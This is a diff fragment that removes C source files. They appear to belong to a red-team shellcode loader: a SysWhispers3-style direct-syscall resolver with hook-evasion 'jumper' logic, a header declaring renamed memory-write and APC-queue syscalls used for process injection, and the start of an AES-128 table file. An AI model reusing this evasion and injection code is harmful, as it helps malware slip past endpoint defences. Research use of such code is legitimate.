; End of file
|
||||
@@ -1,278 +0,0 @@
|
||||
#include "whispers.h"
|
||||
#include <stdio.h>
|
||||
|
||||
//#define DEBUG
|
||||
|
||||
#define JUMPER
|
||||
|
||||
#ifdef _M_IX86
|
||||
|
||||
EXTERN_C PVOID internal_cleancall_wow64_gate(VOID) {
|
||||
return (PVOID)__readfsdword(0xC0);
|
||||
}
|
||||
|
||||
__declspec(naked) BOOL local_is_wow64(void)
|
||||
{
|
||||
__asm {
|
||||
mov eax, fs:[0xc0]
|
||||
test eax, eax
|
||||
jne wow64
|
||||
mov eax, 0
|
||||
ret
|
||||
wow64:
|
||||
mov eax, 1
|
||||
ret
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
#endif
|
||||
|
||||
// Code below is adapted from @modexpblog. Read linked article for more details.
|
||||
// https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams
|
||||
|
||||
SW3_SYSCALL_LIST SW3_SyscallList;
|
||||
|
||||
// SEARCH_AND_REPLACE
|
||||
#ifdef SEARCH_AND_REPLACE
|
||||
// THIS IS NOT DEFINED HERE; don't know if I'll add it in a future release
|
||||
EXTERN void SearchAndReplace(unsigned char[], unsigned char[]);
|
||||
#endif
|
||||
|
||||
DWORD SW3_HashSyscall(PCSTR FunctionName)
|
||||
{
|
||||
DWORD i = 0;
|
||||
DWORD Hash = SW3_SEED;
|
||||
|
||||
while (FunctionName[i])
|
||||
{
|
||||
WORD PartialName = *(WORD*)((ULONG_PTR)FunctionName + i++);
|
||||
Hash ^= PartialName + SW3_ROR8(Hash);
|
||||
}
|
||||
|
||||
return Hash;
|
||||
}
|
||||
|
||||
#ifndef JUMPER
|
||||
PVOID SC_Address(PVOID NtApiAddress)
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
#else
|
||||
PVOID SC_Address(PVOID NtApiAddress)
|
||||
{
|
||||
DWORD searchLimit = 512;
|
||||
PVOID SyscallAddress;
|
||||
|
||||
#ifdef _WIN64
|
||||
// If the process is 64-bit on a 64-bit OS, we need to search for syscall
|
||||
BYTE syscall_code[] = { 0x0f, 0x05, 0xc3 };
|
||||
ULONG distance_to_syscall = 0x12;
|
||||
#else
|
||||
// If the process is 32-bit on a 32-bit OS, we need to search for sysenter
|
||||
BYTE syscall_code[] = { 0x0f, 0x34, 0xc3 };
|
||||
ULONG distance_to_syscall = 0x0f;
|
||||
#endif
|
||||
|
||||
#ifdef _M_IX86
|
||||
// If the process is 32-bit on a 64-bit OS, we need to jump to WOW32Reserved
|
||||
if (local_is_wow64())
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("[+] Running 32-bit app on x64 (WOW64)\n");
|
||||
#endif
|
||||
return NULL;
|
||||
}
|
||||
#endif
|
||||
|
||||
// we don't really care if there is a 'jmp' between
|
||||
// NtApiAddress and the 'syscall; ret' instructions
|
||||
SyscallAddress = SW3_RVA2VA(PVOID, NtApiAddress, distance_to_syscall);
|
||||
|
||||
if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code)))
|
||||
{
|
||||
// we can use the original code for this system call :)
|
||||
#if defined(DEBUG)
|
||||
printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress);
|
||||
#endif
|
||||
return SyscallAddress;
|
||||
}
|
||||
|
||||
// the 'syscall; ret' intructions have not been found,
|
||||
// we will try to use one near it, similarly to HalosGate
|
||||
|
||||
for (ULONG32 num_jumps = 1; num_jumps < searchLimit; num_jumps++)
|
||||
{
|
||||
// let's try with an Nt* API below our syscall
|
||||
SyscallAddress = SW3_RVA2VA(
|
||||
PVOID,
|
||||
NtApiAddress,
|
||||
distance_to_syscall + num_jumps * 0x20);
|
||||
if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code)))
|
||||
{
|
||||
#if defined(DEBUG)
|
||||
printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress);
|
||||
#endif
|
||||
return SyscallAddress;
|
||||
}
|
||||
|
||||
// let's try with an Nt* API above our syscall
|
||||
SyscallAddress = SW3_RVA2VA(
|
||||
PVOID,
|
||||
NtApiAddress,
|
||||
distance_to_syscall - num_jumps * 0x20);
|
||||
if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code)))
|
||||
{
|
||||
#if defined(DEBUG)
|
||||
printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress);
|
||||
#endif
|
||||
return SyscallAddress;
|
||||
}
|
||||
}
|
||||
|
||||
#ifdef DEBUG
|
||||
printf("Syscall Opcodes not found!\n");
|
||||
#endif
|
||||
|
||||
return NULL;
|
||||
}
|
||||
#endif
|
||||
|
||||
|
||||
BOOL SW3_PopulateSyscallList()
|
||||
{
|
||||
// Return early if the list is already populated.
|
||||
if (SW3_SyscallList.Count) return TRUE;
|
||||
|
||||
#ifdef _WIN64
|
||||
PSW3_PEB Peb = (PSW3_PEB)__readgsqword(0x60);
|
||||
#else
|
||||
PSW3_PEB Peb = (PSW3_PEB)__readfsdword(0x30);
|
||||
#endif
|
||||
PSW3_PEB_LDR_DATA Ldr = Peb->Ldr;
|
||||
PIMAGE_EXPORT_DIRECTORY ExportDirectory = NULL;
|
||||
PVOID DllBase = NULL;
|
||||
|
||||
// Get the DllBase address of NTDLL.dll. NTDLL is not guaranteed to be the second
|
||||
// in the list, so it's safer to loop through the full list and find it.
|
||||
PSW3_LDR_DATA_TABLE_ENTRY LdrEntry;
|
||||
for (LdrEntry = (PSW3_LDR_DATA_TABLE_ENTRY)Ldr->Reserved2[1]; LdrEntry->DllBase != NULL; LdrEntry = (PSW3_LDR_DATA_TABLE_ENTRY)LdrEntry->Reserved1[0])
|
||||
{
|
||||
DllBase = LdrEntry->DllBase;
|
||||
PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)DllBase;
|
||||
PIMAGE_NT_HEADERS NtHeaders = SW3_RVA2VA(PIMAGE_NT_HEADERS, DllBase, DosHeader->e_lfanew);
|
||||
PIMAGE_DATA_DIRECTORY DataDirectory = (PIMAGE_DATA_DIRECTORY)NtHeaders->OptionalHeader.DataDirectory;
|
||||
DWORD VirtualAddress = DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
|
||||
if (VirtualAddress == 0) continue;
|
||||
|
||||
ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)SW3_RVA2VA(ULONG_PTR, DllBase, VirtualAddress);
|
||||
|
||||
// If this is NTDLL.dll, exit loop.
|
||||
PCHAR DllName = SW3_RVA2VA(PCHAR, DllBase, ExportDirectory->Name);
|
||||
|
||||
if ((*(ULONG*)DllName | 0x20202020) != 0x6c64746e) continue;
|
||||
if ((*(ULONG*)(DllName + 4) | 0x20202020) == 0x6c642e6c) break;
|
||||
}
|
||||
|
||||
if (!ExportDirectory) return FALSE;
|
||||
|
||||
DWORD NumberOfNames = ExportDirectory->NumberOfNames;
|
||||
PDWORD Functions = SW3_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfFunctions);
|
||||
PDWORD Names = SW3_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfNames);
|
||||
PWORD Ordinals = SW3_RVA2VA(PWORD, DllBase, ExportDirectory->AddressOfNameOrdinals);
|
||||
|
||||
// Populate SW3_SyscallList with unsorted Zw* entries.
|
||||
DWORD i = 0;
|
||||
PSW3_SYSCALL_ENTRY Entries = SW3_SyscallList.Entries;
|
||||
do
|
||||
{
|
||||
PCHAR FunctionName = SW3_RVA2VA(PCHAR, DllBase, Names[NumberOfNames - 1]);
|
||||
|
||||
// Is this a system call?
|
||||
if (*(USHORT*)FunctionName == 0x775a)
|
||||
{
|
||||
Entries[i].Hash = SW3_HashSyscall(FunctionName);
|
||||
Entries[i].Address = Functions[Ordinals[NumberOfNames - 1]];
|
||||
Entries[i].SyscallAddress = SC_Address(SW3_RVA2VA(PVOID, DllBase, Entries[i].Address));
|
||||
|
||||
i++;
|
||||
if (i == SW3_MAX_ENTRIES) break;
|
||||
}
|
||||
} while (--NumberOfNames);
|
||||
|
||||
// Save total number of system calls found.
|
||||
SW3_SyscallList.Count = i;
|
||||
|
||||
// Sort the list by address in ascending order.
|
||||
for (DWORD i = 0; i < SW3_SyscallList.Count - 1; i++)
|
||||
{
|
||||
for (DWORD j = 0; j < SW3_SyscallList.Count - i - 1; j++)
|
||||
{
|
||||
if (Entries[j].Address > Entries[j + 1].Address)
|
||||
{
|
||||
// Swap entries.
|
||||
SW3_SYSCALL_ENTRY TempEntry;
|
||||
|
||||
TempEntry.Hash = Entries[j].Hash;
|
||||
TempEntry.Address = Entries[j].Address;
|
||||
TempEntry.SyscallAddress = Entries[j].SyscallAddress;
|
||||
|
||||
Entries[j].Hash = Entries[j + 1].Hash;
|
||||
Entries[j].Address = Entries[j + 1].Address;
|
||||
Entries[j].SyscallAddress = Entries[j + 1].SyscallAddress;
|
||||
|
||||
Entries[j + 1].Hash = TempEntry.Hash;
|
||||
Entries[j + 1].Address = TempEntry.Address;
|
||||
Entries[j + 1].SyscallAddress = TempEntry.SyscallAddress;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
EXTERN_C DWORD SW3_GetSyscallNumber(DWORD FunctionHash)
|
||||
{
|
||||
// Ensure SW3_SyscallList is populated.
|
||||
if (!SW3_PopulateSyscallList()) return -1;
|
||||
|
||||
for (DWORD i = 0; i < SW3_SyscallList.Count; i++)
|
||||
{
|
||||
if (FunctionHash == SW3_SyscallList.Entries[i].Hash)
|
||||
{
|
||||
return i;
|
||||
}
|
||||
}
|
||||
|
||||
return -1;
|
||||
}
|
||||
|
||||
EXTERN_C PVOID SW3_GetSyscallAddress(DWORD FunctionHash)
|
||||
{
|
||||
// Ensure SW3_SyscallList is populated.
|
||||
if (!SW3_PopulateSyscallList()) return NULL;
|
||||
|
||||
for (DWORD i = 0; i < SW3_SyscallList.Count; i++)
|
||||
{
|
||||
if (FunctionHash == SW3_SyscallList.Entries[i].Hash)
|
||||
{
|
||||
return SW3_SyscallList.Entries[i].SyscallAddress;
|
||||
}
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
EXTERN_C PVOID SW3_GetRandomSyscallAddress(DWORD FunctionHash)
|
||||
{
|
||||
// Ensure SW3_SyscallList is populated.
|
||||
if (!SW3_PopulateSyscallList()) return NULL;
|
||||
|
||||
DWORD index = ((DWORD) rand()) % SW3_SyscallList.Count;
|
||||
|
||||
while (FunctionHash == SW3_SyscallList.Entries[index].Hash){
|
||||
// Spoofing the syscall return address
|
||||
index = ((DWORD) rand()) % SW3_SyscallList.Count;
|
||||
}
|
||||
return SW3_SyscallList.Entries[index].SyscallAddress;
|
||||
}
|
||||
@@ -1,100 +0,0 @@
|
||||
#pragma once
|
||||
|
||||
// Code below is adapted from @modexpblog. Read linked article for more details.
|
||||
// https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams
|
||||
|
||||
#ifndef SW3_HEADER_H_
|
||||
#define SW3_HEADER_H_
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
#ifndef _NTDEF_
|
||||
typedef _Return_type_success_(return >= 0) LONG NTSTATUS;
|
||||
typedef NTSTATUS* PNTSTATUS;
|
||||
#endif
|
||||
|
||||
#define SW3_SEED 0x51EBD349
|
||||
#define SW3_ROL8(v) (v << 8 | v >> 24)
|
||||
#define SW3_ROR8(v) (v >> 8 | v << 24)
|
||||
#define SW3_ROX8(v) ((SW3_SEED % 2) ? SW3_ROL8(v) : SW3_ROR8(v))
|
||||
#define SW3_MAX_ENTRIES 600
|
||||
#define SW3_RVA2VA(Type, DllBase, Rva) (Type)((ULONG_PTR) DllBase + Rva)
|
||||
|
||||
// Typedefs are prefixed to avoid pollution.
|
||||
|
||||
typedef struct _SW3_SYSCALL_ENTRY
|
||||
{
|
||||
DWORD Hash;
|
||||
DWORD Address;
|
||||
PVOID SyscallAddress;
|
||||
} SW3_SYSCALL_ENTRY, *PSW3_SYSCALL_ENTRY;
|
||||
|
||||
typedef struct _SW3_SYSCALL_LIST
|
||||
{
|
||||
DWORD Count;
|
||||
SW3_SYSCALL_ENTRY Entries[SW3_MAX_ENTRIES];
|
||||
} SW3_SYSCALL_LIST, *PSW3_SYSCALL_LIST;
|
||||
|
||||
typedef struct _SW3_PEB_LDR_DATA {
|
||||
BYTE Reserved1[8];
|
||||
PVOID Reserved2[3];
|
||||
LIST_ENTRY InMemoryOrderModuleList;
|
||||
} SW3_PEB_LDR_DATA, *PSW3_PEB_LDR_DATA;
|
||||
|
||||
typedef struct _SW3_LDR_DATA_TABLE_ENTRY {
|
||||
PVOID Reserved1[2];
|
||||
LIST_ENTRY InMemoryOrderLinks;
|
||||
PVOID Reserved2[2];
|
||||
PVOID DllBase;
|
||||
} SW3_LDR_DATA_TABLE_ENTRY, *PSW3_LDR_DATA_TABLE_ENTRY;
|
||||
|
||||
typedef struct _SW3_PEB {
|
||||
BYTE Reserved1[2];
|
||||
BYTE BeingDebugged;
|
||||
BYTE Reserved2[1];
|
||||
PVOID Reserved3[2];
|
||||
PSW3_PEB_LDR_DATA Ldr;
|
||||
} SW3_PEB, *PSW3_PEB;
|
||||
|
||||
DWORD SW3_HashSyscall(PCSTR FunctionName);
|
||||
BOOL SW3_PopulateSyscallList();
|
||||
EXTERN_C DWORD SW3_GetSyscallNumber(DWORD FunctionHash);
|
||||
EXTERN_C PVOID SW3_GetSyscallAddress(DWORD FunctionHash);
|
||||
EXTERN_C PVOID internal_cleancall_wow64_gate(VOID);
|
||||
typedef VOID(KNORMAL_ROUTINE) (
|
||||
IN PVOID NormalContext,
|
||||
IN PVOID SystemArgument1,
|
||||
IN PVOID SystemArgument2);
|
||||
|
||||
typedef KNORMAL_ROUTINE* PKNORMAL_ROUTINE;
|
||||
|
||||
EXTERN_C NTSTATUS NTAVM(
|
||||
IN HANDLE ProcessHandle,
|
||||
IN OUT PVOID * BaseAddress,
|
||||
IN ULONG ZeroBits,
|
||||
IN OUT PSIZE_T RegionSize,
|
||||
IN ULONG AllocationType,
|
||||
IN ULONG Protect);
|
||||
|
||||
EXTERN_C NTSTATUS NTPVM(
|
||||
IN HANDLE ProcessHandle,
|
||||
IN OUT PVOID * BaseAddress,
|
||||
IN OUT PSIZE_T RegionSize,
|
||||
IN ULONG NewProtect,
|
||||
OUT PULONG OldProtect);
|
||||
|
||||
EXTERN_C NTSTATUS NTWVM(
|
||||
IN HANDLE ProcessHandle,
|
||||
IN PVOID BaseAddress,
|
||||
IN PVOID Buffer,
|
||||
IN SIZE_T NumberOfBytesToWrite,
|
||||
OUT PSIZE_T NumberOfBytesWritten OPTIONAL);
|
||||
|
||||
EXTERN_C NTSTATUS NTQAT(
|
||||
IN HANDLE ThreadHandle,
|
||||
IN PKNORMAL_ROUTINE ApcRoutine,
|
||||
IN PVOID ApcArgument1 OPTIONAL,
|
||||
IN PVOID ApcArgument2 OPTIONAL,
|
||||
IN PVOID ApcArgument3 OPTIONAL);
|
||||
|
||||
#endif
|
||||
@@ -1,965 +0,0 @@
|
||||
/*
|
||||
|
||||
Original Implementation: https://github.com/halloweeks/AES-128-CBC
|
||||
Modifications from MochaByte to handle data of any size.
|
||||
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2024 Hallo Weeks
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
|
||||
*/
|
||||
|
||||
#include <stdint.h>
|
||||
|
||||
#ifndef __AES_128_CBC_H__
|
||||
#define __AES_128_CBC_H__
|
||||
|
||||
#define AES_BLOCK_SIZE 16
|
||||
#define AES_KEY_SIZE 16
|
||||
|
||||
#define GETU32(in_data) (((unsigned int)(in_data)[0] << 24) ^ \
|
||||
((unsigned int)(in_data)[1] << 16) ^ \
|
||||
((unsigned int)(in_data)[2] << 8) ^ \
|
||||
((unsigned int)(in_data)[3] << 0))
|
||||
|
||||
#define PUTU32(out_data, st) { (out_data)[0] = (unsigned char)((st) >> 24); \
|
||||
(out_data)[1] = (unsigned char)((st) >> 16); \
|
||||
(out_data)[2] = (unsigned char)((st) >> 8); \
|
||||
(out_data)[3] = (unsigned char)((st) >> 0); }
|
||||
|
||||
static const unsigned int Te0[256] =
|
||||
{
|
||||
0xc66363a5U, 0xf87c7c84U, 0xee777799U, 0xf67b7b8dU,
|
||||
0xfff2f20dU, 0xd66b6bbdU, 0xde6f6fb1U, 0x91c5c554U,
|
||||
0x60303050U, 0x02010103U, 0xce6767a9U, 0x562b2b7dU,
|
||||
0xe7fefe19U, 0xb5d7d762U, 0x4dababe6U, 0xec76769aU,
|
||||
0x8fcaca45U, 0x1f82829dU, 0x89c9c940U, 0xfa7d7d87U,
|
||||
0xeffafa15U, 0xb25959ebU, 0x8e4747c9U, 0xfbf0f00bU,
|
||||
0x41adadecU, 0xb3d4d467U, 0x5fa2a2fdU, 0x45afafeaU,
|
||||
0x239c9cbfU, 0x53a4a4f7U, 0xe4727296U, 0x9bc0c05bU,
|
||||
0x75b7b7c2U, 0xe1fdfd1cU, 0x3d9393aeU, 0x4c26266aU,
|
||||
0x6c36365aU, 0x7e3f3f41U, 0xf5f7f702U, 0x83cccc4fU,
|
||||
0x6834345cU, 0x51a5a5f4U, 0xd1e5e534U, 0xf9f1f108U,
|
||||
0xe2717193U, 0xabd8d873U, 0x62313153U, 0x2a15153fU,
|
||||
0x0804040cU, 0x95c7c752U, 0x46232365U, 0x9dc3c35eU,
|
||||
0x30181828U, 0x379696a1U, 0x0a05050fU, 0x2f9a9ab5U,
|
||||
0x0e070709U, 0x24121236U, 0x1b80809bU, 0xdfe2e23dU,
|
||||
0xcdebeb26U, 0x4e272769U, 0x7fb2b2cdU, 0xea75759fU,
|
||||
0x1209091bU, 0x1d83839eU, 0x582c2c74U, 0x341a1a2eU,
|
||||
0x361b1b2dU, 0xdc6e6eb2U, 0xb45a5aeeU, 0x5ba0a0fbU,
|
||||
0xa45252f6U, 0x763b3b4dU, 0xb7d6d661U, 0x7db3b3ceU,
|
||||
0x5229297bU, 0xdde3e33eU, 0x5e2f2f71U, 0x13848497U,
|
||||
0xa65353f5U, 0xb9d1d168U, 0x00000000U, 0xc1eded2cU,
|
||||
0x40202060U, 0xe3fcfc1fU, 0x79b1b1c8U, 0xb65b5bedU,
|
||||
0xd46a6abeU, 0x8dcbcb46U, 0x67bebed9U, 0x7239394bU,
|
||||
0x944a4adeU, 0x984c4cd4U, 0xb05858e8U, 0x85cfcf4aU,
|
||||
0xbbd0d06bU, 0xc5efef2aU, 0x4faaaae5U, 0xedfbfb16U,
|
||||
0x864343c5U, 0x9a4d4dd7U, 0x66333355U, 0x11858594U,
|
||||
0x8a4545cfU, 0xe9f9f910U, 0x04020206U, 0xfe7f7f81U,
|
||||
0xa05050f0U, 0x783c3c44U, 0x259f9fbaU, 0x4ba8a8e3U,
|
||||
0xa25151f3U, 0x5da3a3feU, 0x804040c0U, 0x058f8f8aU,
|
||||
0x3f9292adU, 0x219d9dbcU, 0x70383848U, 0xf1f5f504U,
|
||||
0x63bcbcdfU, 0x77b6b6c1U, 0xafdada75U, 0x42212163U,
|
||||
0x20101030U, 0xe5ffff1aU, 0xfdf3f30eU, 0xbfd2d26dU,
|
||||
0x81cdcd4cU, 0x180c0c14U, 0x26131335U, 0xc3ecec2fU,
|
||||
0xbe5f5fe1U, 0x359797a2U, 0x884444ccU, 0x2e171739U,
|
||||
0x93c4c457U, 0x55a7a7f2U, 0xfc7e7e82U, 0x7a3d3d47U,
|
||||
0xc86464acU, 0xba5d5de7U, 0x3219192bU, 0xe6737395U,
|
||||
0xc06060a0U, 0x19818198U, 0x9e4f4fd1U, 0xa3dcdc7fU,
|
||||
0x44222266U, 0x542a2a7eU, 0x3b9090abU, 0x0b888883U,
|
||||
0x8c4646caU, 0xc7eeee29U, 0x6bb8b8d3U, 0x2814143cU,
|
||||
0xa7dede79U, 0xbc5e5ee2U, 0x160b0b1dU, 0xaddbdb76U,
|
||||
0xdbe0e03bU, 0x64323256U, 0x743a3a4eU, 0x140a0a1eU,
|
||||
0x924949dbU, 0x0c06060aU, 0x4824246cU, 0xb85c5ce4U,
|
||||
0x9fc2c25dU, 0xbdd3d36eU, 0x43acacefU, 0xc46262a6U,
|
||||
0x399191a8U, 0x319595a4U, 0xd3e4e437U, 0xf279798bU,
|
||||
0xd5e7e732U, 0x8bc8c843U, 0x6e373759U, 0xda6d6db7U,
|
||||
0x018d8d8cU, 0xb1d5d564U, 0x9c4e4ed2U, 0x49a9a9e0U,
|
||||
0xd86c6cb4U, 0xac5656faU, 0xf3f4f407U, 0xcfeaea25U,
|
||||
0xca6565afU, 0xf47a7a8eU, 0x47aeaee9U, 0x10080818U,
|
||||
0x6fbabad5U, 0xf0787888U, 0x4a25256fU, 0x5c2e2e72U,
|
||||
0x381c1c24U, 0x57a6a6f1U, 0x73b4b4c7U, 0x97c6c651U,
|
||||
0xcbe8e823U, 0xa1dddd7cU, 0xe874749cU, 0x3e1f1f21U,
|
||||
0x964b4bddU, 0x61bdbddcU, 0x0d8b8b86U, 0x0f8a8a85U,
|
||||
0xe0707090U, 0x7c3e3e42U, 0x71b5b5c4U, 0xcc6666aaU,
|
||||
0x904848d8U, 0x06030305U, 0xf7f6f601U, 0x1c0e0e12U,
|
||||
0xc26161a3U, 0x6a35355fU, 0xae5757f9U, 0x69b9b9d0U,
|
||||
0x17868691U, 0x99c1c158U, 0x3a1d1d27U, 0x279e9eb9U,
|
||||
0xd9e1e138U, 0xebf8f813U, 0x2b9898b3U, 0x22111133U,
|
||||
0xd26969bbU, 0xa9d9d970U, 0x078e8e89U, 0x339494a7U,
|
||||
0x2d9b9bb6U, 0x3c1e1e22U, 0x15878792U, 0xc9e9e920U,
|
||||
0x87cece49U, 0xaa5555ffU, 0x50282878U, 0xa5dfdf7aU,
|
||||
0x038c8c8fU, 0x59a1a1f8U, 0x09898980U, 0x1a0d0d17U,
|
||||
0x65bfbfdaU, 0xd7e6e631U, 0x844242c6U, 0xd06868b8U,
|
||||
0x824141c3U, 0x299999b0U, 0x5a2d2d77U, 0x1e0f0f11U,
|
||||
0x7bb0b0cbU, 0xa85454fcU, 0x6dbbbbd6U, 0x2c16163aU,
|
||||
};
|
||||
|
||||
static const unsigned int Te1[256] =
|
||||
{
|
||||
0xa5c66363U, 0x84f87c7cU, 0x99ee7777U, 0x8df67b7bU,
|
||||
0x0dfff2f2U, 0xbdd66b6bU, 0xb1de6f6fU, 0x5491c5c5U,
|
||||
0x50603030U, 0x03020101U, 0xa9ce6767U, 0x7d562b2bU,
|
||||
0x19e7fefeU, 0x62b5d7d7U, 0xe64dababU, 0x9aec7676U,
|
||||
0x458fcacaU, 0x9d1f8282U, 0x4089c9c9U, 0x87fa7d7dU,
|
||||
0x15effafaU, 0xebb25959U, 0xc98e4747U, 0x0bfbf0f0U,
|
||||
0xec41adadU, 0x67b3d4d4U, 0xfd5fa2a2U, 0xea45afafU,
|
||||
0xbf239c9cU, 0xf753a4a4U, 0x96e47272U, 0x5b9bc0c0U,
|
||||
0xc275b7b7U, 0x1ce1fdfdU, 0xae3d9393U, 0x6a4c2626U,
|
||||
0x5a6c3636U, 0x417e3f3fU, 0x02f5f7f7U, 0x4f83ccccU,
|
||||
0x5c683434U, 0xf451a5a5U, 0x34d1e5e5U, 0x08f9f1f1U,
|
||||
0x93e27171U, 0x73abd8d8U, 0x53623131U, 0x3f2a1515U,
|
||||
0x0c080404U, 0x5295c7c7U, 0x65462323U, 0x5e9dc3c3U,
|
||||
0x28301818U, 0xa1379696U, 0x0f0a0505U, 0xb52f9a9aU,
|
||||
0x090e0707U, 0x36241212U, 0x9b1b8080U, 0x3ddfe2e2U,
|
||||
0x26cdebebU, 0x694e2727U, 0xcd7fb2b2U, 0x9fea7575U,
|
||||
0x1b120909U, 0x9e1d8383U, 0x74582c2cU, 0x2e341a1aU,
|
||||
0x2d361b1bU, 0xb2dc6e6eU, 0xeeb45a5aU, 0xfb5ba0a0U,
|
||||
0xf6a45252U, 0x4d763b3bU, 0x61b7d6d6U, 0xce7db3b3U,
|
||||
0x7b522929U, 0x3edde3e3U, 0x715e2f2fU, 0x97138484U,
|
||||
0xf5a65353U, 0x68b9d1d1U, 0x00000000U, 0x2cc1ededU,
|
||||
0x60402020U, 0x1fe3fcfcU, 0xc879b1b1U, 0xedb65b5bU,
|
||||
0xbed46a6aU, 0x468dcbcbU, 0xd967bebeU, 0x4b723939U,
|
||||
0xde944a4aU, 0xd4984c4cU, 0xe8b05858U, 0x4a85cfcfU,
|
||||
0x6bbbd0d0U, 0x2ac5efefU, 0xe54faaaaU, 0x16edfbfbU,
|
||||
0xc5864343U, 0xd79a4d4dU, 0x55663333U, 0x94118585U,
|
||||
0xcf8a4545U, 0x10e9f9f9U, 0x06040202U, 0x81fe7f7fU,
|
||||
0xf0a05050U, 0x44783c3cU, 0xba259f9fU, 0xe34ba8a8U,
|
||||
0xf3a25151U, 0xfe5da3a3U, 0xc0804040U, 0x8a058f8fU,
|
||||
0xad3f9292U, 0xbc219d9dU, 0x48703838U, 0x04f1f5f5U,
|
||||
0xdf63bcbcU, 0xc177b6b6U, 0x75afdadaU, 0x63422121U,
|
||||
0x30201010U, 0x1ae5ffffU, 0x0efdf3f3U, 0x6dbfd2d2U,
|
||||
0x4c81cdcdU, 0x14180c0cU, 0x35261313U, 0x2fc3ececU,
|
||||
0xe1be5f5fU, 0xa2359797U, 0xcc884444U, 0x392e1717U,
|
||||
0x5793c4c4U, 0xf255a7a7U, 0x82fc7e7eU, 0x477a3d3dU,
|
||||
0xacc86464U, 0xe7ba5d5dU, 0x2b321919U, 0x95e67373U,
|
||||
0xa0c06060U, 0x98198181U, 0xd19e4f4fU, 0x7fa3dcdcU,
|
||||
0x66442222U, 0x7e542a2aU, 0xab3b9090U, 0x830b8888U,
|
||||
0xca8c4646U, 0x29c7eeeeU, 0xd36bb8b8U, 0x3c281414U,
|
||||
0x79a7dedeU, 0xe2bc5e5eU, 0x1d160b0bU, 0x76addbdbU,
|
||||
0x3bdbe0e0U, 0x56643232U, 0x4e743a3aU, 0x1e140a0aU,
|
||||
0xdb924949U, 0x0a0c0606U, 0x6c482424U, 0xe4b85c5cU,
|
||||
0x5d9fc2c2U, 0x6ebdd3d3U, 0xef43acacU, 0xa6c46262U,
|
||||
0xa8399191U, 0xa4319595U, 0x37d3e4e4U, 0x8bf27979U,
|
||||
0x32d5e7e7U, 0x438bc8c8U, 0x596e3737U, 0xb7da6d6dU,
|
||||
0x8c018d8dU, 0x64b1d5d5U, 0xd29c4e4eU, 0xe049a9a9U,
|
||||
0xb4d86c6cU, 0xfaac5656U, 0x07f3f4f4U, 0x25cfeaeaU,
|
||||
0xafca6565U, 0x8ef47a7aU, 0xe947aeaeU, 0x18100808U,
|
||||
0xd56fbabaU, 0x88f07878U, 0x6f4a2525U, 0x725c2e2eU,
|
||||
0x24381c1cU, 0xf157a6a6U, 0xc773b4b4U, 0x5197c6c6U,
|
||||
0x23cbe8e8U, 0x7ca1ddddU, 0x9ce87474U, 0x213e1f1fU,
|
||||
0xdd964b4bU, 0xdc61bdbdU, 0x860d8b8bU, 0x850f8a8aU,
|
||||
0x90e07070U, 0x427c3e3eU, 0xc471b5b5U, 0xaacc6666U,
|
||||
0xd8904848U, 0x05060303U, 0x01f7f6f6U, 0x121c0e0eU,
|
||||
0xa3c26161U, 0x5f6a3535U, 0xf9ae5757U, 0xd069b9b9U,
|
||||
0x91178686U, 0x5899c1c1U, 0x273a1d1dU, 0xb9279e9eU,
|
||||
0x38d9e1e1U, 0x13ebf8f8U, 0xb32b9898U, 0x33221111U,
|
||||
0xbbd26969U, 0x70a9d9d9U, 0x89078e8eU, 0xa7339494U,
|
||||
0xb62d9b9bU, 0x223c1e1eU, 0x92158787U, 0x20c9e9e9U,
|
||||
0x4987ceceU, 0xffaa5555U, 0x78502828U, 0x7aa5dfdfU,
|
||||
0x8f038c8cU, 0xf859a1a1U, 0x80098989U, 0x171a0d0dU,
|
||||
0xda65bfbfU, 0x31d7e6e6U, 0xc6844242U, 0xb8d06868U,
|
||||
0xc3824141U, 0xb0299999U, 0x775a2d2dU, 0x111e0f0fU,
|
||||
0xcb7bb0b0U, 0xfca85454U, 0xd66dbbbbU, 0x3a2c1616U,
|
||||
};
|
||||
|
||||
static const unsigned int Te2[256] =
|
||||
{
|
||||
0x63a5c663U, 0x7c84f87cU, 0x7799ee77U, 0x7b8df67bU,
|
||||
0xf20dfff2U, 0x6bbdd66bU, 0x6fb1de6fU, 0xc55491c5U,
|
||||
